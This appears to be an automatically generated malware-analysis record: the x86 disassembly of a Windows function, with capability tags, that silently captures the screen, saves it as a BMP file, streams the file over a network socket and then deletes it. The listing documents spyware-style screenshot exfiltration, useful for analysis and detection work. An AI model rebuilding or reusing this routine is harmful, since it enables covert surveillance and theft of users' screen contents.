Function at 0x403f20
Capabilities:
Capture screenshot
Delete file
Read and send data from client to server
Read file on windows
Send data
Send data on socket
Write file on windows

Disassembly:
sub esp, 0x468
mov eax, dword [0x41201c]
xor eax, esp
mov dword [esp + 0x464], eax
mov eax, dword [esp + 0x46c]
push ebx
push ebp
push esi
push edi
push 0
push 0
push 0
push str.DISPLAY
mov dword [esp + 0x20], eax
call dword [sym.imp.GDI32.dll_CreateDCA]
mov esi, eax
push esi
mov dword [esp + 0x34], esi
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov edi, dword [sym.imp.GDI32.dll_GetDeviceCaps]
push 8
mov ebx, eax
push esi
mov dword [esp + 0x24], ebx
call edi
push 0xa
push esi
mov ebp, eax
call edi
mov edi, eax
push edi
push ebp
push esi
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
push eax
push ebx
call dword [sym.imp.GDI32.dll_SelectObject]
push 0xcc0020
push 0
push 0
push esi
push edi
push ebp
push 0
push 0
push ebx
mov dword [esp + 0x38], eax
call dword [sym.imp.GDI32.dll_BitBlt]
mov ecx, dword [esp + 0x14]
push ecx
push ebx
call dword [sym.imp.GDI32.dll_SelectObject]
cmp dword [esp + 0x10], 0
mov dword [esp + 0x14], eax
jne 0x403fcf
push esi
mov esi, dword [sym.imp.GDI32.dll_DeleteDC]
call esi
push ebx
call esi
jmp 0x4041f0
mov esi, ebp
shl esi, 5
add esi, 0x1f
sar esi, 3
and esi, 0xfffffffc
imul esi, edi
push esi
push 1
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push esi
mov ebx, eax
push 0
push ebx
call sub.MSVCR80.dll_memset
push 0x2c
lea edx, [esp + 0x44]
push 0
push edx
call sub.MSVCR80.dll_memset
mov edx, dword [esp + 0x2c]
add esp, 0x18
push 0
xor eax, eax
lea ecx, [esp + 0x38]
push ecx
push ebx
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov word [esp + 0x38], ax
push edi
lea eax, [esi + 0x36]
push 0
mov dword [esp + 0x36], eax
mov eax, dword [esp + 0x30]
push edx
push eax
mov dword [esp + 0x50], 0x28
mov dword [esp + 0x54], ebp
mov dword [esp + 0x58], edi
mov word [esp + 0x5c], 1
mov word [esp + 0x5e], 0x20
mov dword [esp + 0x60], 0
mov word [esp + 0x3c], 0x4d42
mov dword [esp + 0x46], 0x36
call dword [sym.imp.GDI32.dll_GetDIBits]
mov ecx, dword [esp + 0x10]
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea edx, [esp + 0x1c]
push edx
mov edi, eax
push 0xe
lea eax, [esp + 0x2c]
push eax
push edi
call ebp
push 0
lea ecx, [esp + 0x1c]
push ecx
push 0x2c
lea edx, [esp + 0x40]
push edx
push edi
call ebp
push 0
lea eax, [esp + 0x1c]
push eax
push esi
push ebx
push edi
call ebp
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
mov ebp, dword [esp + 0x10]
push 0
push 0x80
push 3
push 0
push 3
push closesocket
push ebp
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x40415f
push 0x3ff
lea ecx, [esp + 0x79]
push 0
push ecx
mov dword [esp + 0x1c], 1
mov byte [esp + 0x80], 0
call sub.MSVCR80.dll_memset
add esp, 0xc
lea ebx, [ebx]
push 0
lea edx, [esp + 0x14]
push edx
push 0x400
lea eax, [esp + 0x80]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [esp + 0x10]
test eax, eax
jbe 0x40415f
mov edx, dword [esp + 0x480]
push 0
push eax
lea ecx, [esp + 0x7c]
push ecx
push edx
call sub.WS2_32.dll_send
cmp dword [esp + 0x10], 0
ja 0x404120
push esi
call edi
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x40f6b4]
mov ecx, dword [0x40f6b8]
mov dl, byte [0x40f6bc]
mov dword [esp + 0x60], eax
xor eax, eax
mov dword [esp + 0x69], eax
mov dword [esp + 0x6d], eax
mov word [esp + 0x71], ax
mov byte [esp + 0x73], al
lea eax, [esp + 0x60]
mov dword [esp + 0x64], ecx
mov byte [esp + 0x68], dl
lea esi, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x4041a1
mov ecx, dword [esp + 0x480]
push 0
sub eax, esi
push eax
lea eax, [esp + 0x68]
push eax
push ecx
call sub.WS2_32.dll_send
push ebp
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push ebx
push 1
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov edx, dword [esp + 0x30]
push edx
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
mov eax, dword [esp + 0x1c]
push eax
call dword [sym.imp.GDI32.dll_DeleteDC]
mov ecx, dword [esp + 0x474]
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040e2e2
add esp, 0x468
ret